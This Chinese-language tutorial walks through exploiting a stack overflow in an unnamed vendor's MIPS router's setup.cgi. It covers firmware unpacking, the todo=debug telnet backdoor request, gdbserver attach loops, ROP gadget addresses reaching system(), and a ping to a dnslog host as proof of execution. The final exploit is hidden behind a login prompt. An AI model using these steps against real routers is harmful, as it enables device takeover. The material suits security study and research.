前言
尽管现在已经有不少关于路由器漏洞挖掘的文章,但针对新手的、涉及环境配置和操作细节的教学资源仍然较为稀缺。本文将带领你一步步了解如何从零开始挖掘某厂商路由器的漏洞,通过实际操作与工具使用,深入学习固件分析、动态调试及漏洞利用的完整过程,希望能帮助读者减少不必要的摸索与误区。
固件分析
安装与配置binwalk
Binwalk 是一个用于固件分析的工具,能够帮助我们提取和分析嵌入式固件镜像。首先,我们需要安装 binwalk。binwalk 的作者为 Ubuntu 系统提供了专门的依赖安装脚本,只需运行 deps.sh,就能大大简化安装过程。
安装步骤如下:
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo python3 setup.py install
sudo ./deps.sh
在开始漏洞挖掘之前,我们需要下载并解包目标路由器的固件。以某厂商路由器为例,首先从其官网下载固件,并使用 binwalk 进行解包操作:
binwalk -Me
漏洞分析
目标漏洞信息
该目标路由器使用的是MIPSEL架构,漏洞位于 setup.cgi 文件中(CGI脚本通常是路由器漏洞的常见所在,因此值得特别关注,这也是相对容易利用的地方)。
通过执行以下命令可以查看 setup.cgi 文件的类型信息:
file setup.cgi
输出结果显示:
setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
其中,setup.cgi 文件是一个32位MIPS架构的动态链接共享库,使用了 /lib/ld-uClibc.so.0 作为解释器,并且文件已经被剥离。
该文件的 main 函数位于 setup_main 函数中。
逆向分析
通过对 setup.cgi 的逆向分析,发现 sub_555BA950 函数从 nvram 中获取了环境变量 fw_out_rules 的值。然而,这个值没有进行有效的长度检查,并且在 sscanf 中以不安全的方式进行格式化写入,导致栈溢出漏洞的产生。这个漏洞可以被利用来覆盖栈上的数据,进而执行恶意代码。
通过交叉引用fw_out_rules可以发现该环境变量在sub_55567D8C被设置。
交叉引用上面所说的两个函数 可以发现都是通过ActionTab方式按名调用,分别是rule_list_simple_out和outmove可以在固件解包的目录下grep搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。
直接访问fw_rules.htm,搞几个规则,使用 nvram show | grep fw_out_rules 可以看到这个变量储存的是Service name还有一些数字啥的。
所以我们需要控制请求里的 service_list参数,来修改fw_out_rules,最后访问BKS_service_add.htm触发栈溢出。
动态调试
路由器配置
开启telnet
虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。
其中函数CallActionByName通过查ActionTab表比对参数todo的值方式来调用函数todo中的参数对应函数
注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check(IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 – 云+社区 – 腾讯云 (tencent.com))。
所以可以通过todo=debug开启telnet
192.168.1.1/setup.cgi?todo=debug
telnet 192.168.1.1
编译gdbserver
在路由器上也要进行相应的调试配置
注意路由器是小端序,参数加上-EL
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu
wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz
tar xvf gdb-10.1.tar.xz
cd gdb-10.1
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"
make -j7
编译不了,不知道为啥(
这里下一个
https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
HatLab Tools Library: 海特实验室IoT安全工具/环境整合 – Gitee.com
上传gdbserver
比较好的办法是使用http server
python -m http.server 9999
wget http://192.168.1.2:9999/gdbserver
附加二进制的坑点
由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。
int=1
while [ $int -le 1000 ]; do
/tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`
done
调试端配置
环境: Ubuntu 21
安装gef
gef是异构动态调试做的比较好的一款gdb插件,推荐使用。
bash -c "$(wget http://gef.blah.cat/sh -O -)"<br>安装gdb-multiarch
普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。
sudo apt install gdb-multiarch
gdb调试配置
为了让gdb正确进行调试,首先需要进行一下环境配置。
set arch mips
set endian little
gef-remote 192.168.1.1:12345
在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch通过-x选项直接通过文件加载命令:
set arch mips
set endian little
gef-remote 192.168.1.1:12345
b *0x555BAC2C
gdb-multiarch setup.cgi -x ./gdb.cmd<br>IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。
漏洞利用
函数栈
mips调用函数时将返回地址放在 $ra,与x86架构类似,在函数起始处压栈,结束时弹出,通过ja指令跳到返回地址,所以需要溢出到var_s24来劫持控制流。
执行system
介绍一下 mips 下神奇的函数调用:
在这里跳到 $t9 也就是 system 之后,会执行一下下面的那条语句(也就是 5B068 处的语句)之后才继续在 system 里面执行
那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个command的指针,这样就会调用 system(ptr) 了
然后执行命令可以执行 ping 命令(其中 ping 需要绝对路径,需要注意):
/bin/ping hv14uf.dnslog.cn -c 2
寻找gadgets
MIPS架构推荐使用ropper进行查找,查找时可以参考可被控制的寄存器来筛选gadget。
file setup.cgi
search addiu $a0
一开始找到了这个,后来发现怎么也打不通
0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60;
0x55567650: la $t9, system; nop; jalr $t9; nop;
后来翻了翻CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)发现是0x20截断了,所以我们system执行的command也需要绕过空格。
同时在FindForbidValue函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。
<img src="https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png" alt="image-20220112183944202.png" style="zoom: 67%;" />后来还是用原来的(,将command写到 $a0-0x60上,跳到0x55567650执行就行了。
0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
0x55567650: la $t9, system; nop; jalr $t9; nop;
如果你也比较懒的的话,可以用cyclic -l来找偏移。
调试时发现$a0的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。
最终exp
您需要登录才能查看完整内容





评论 (0)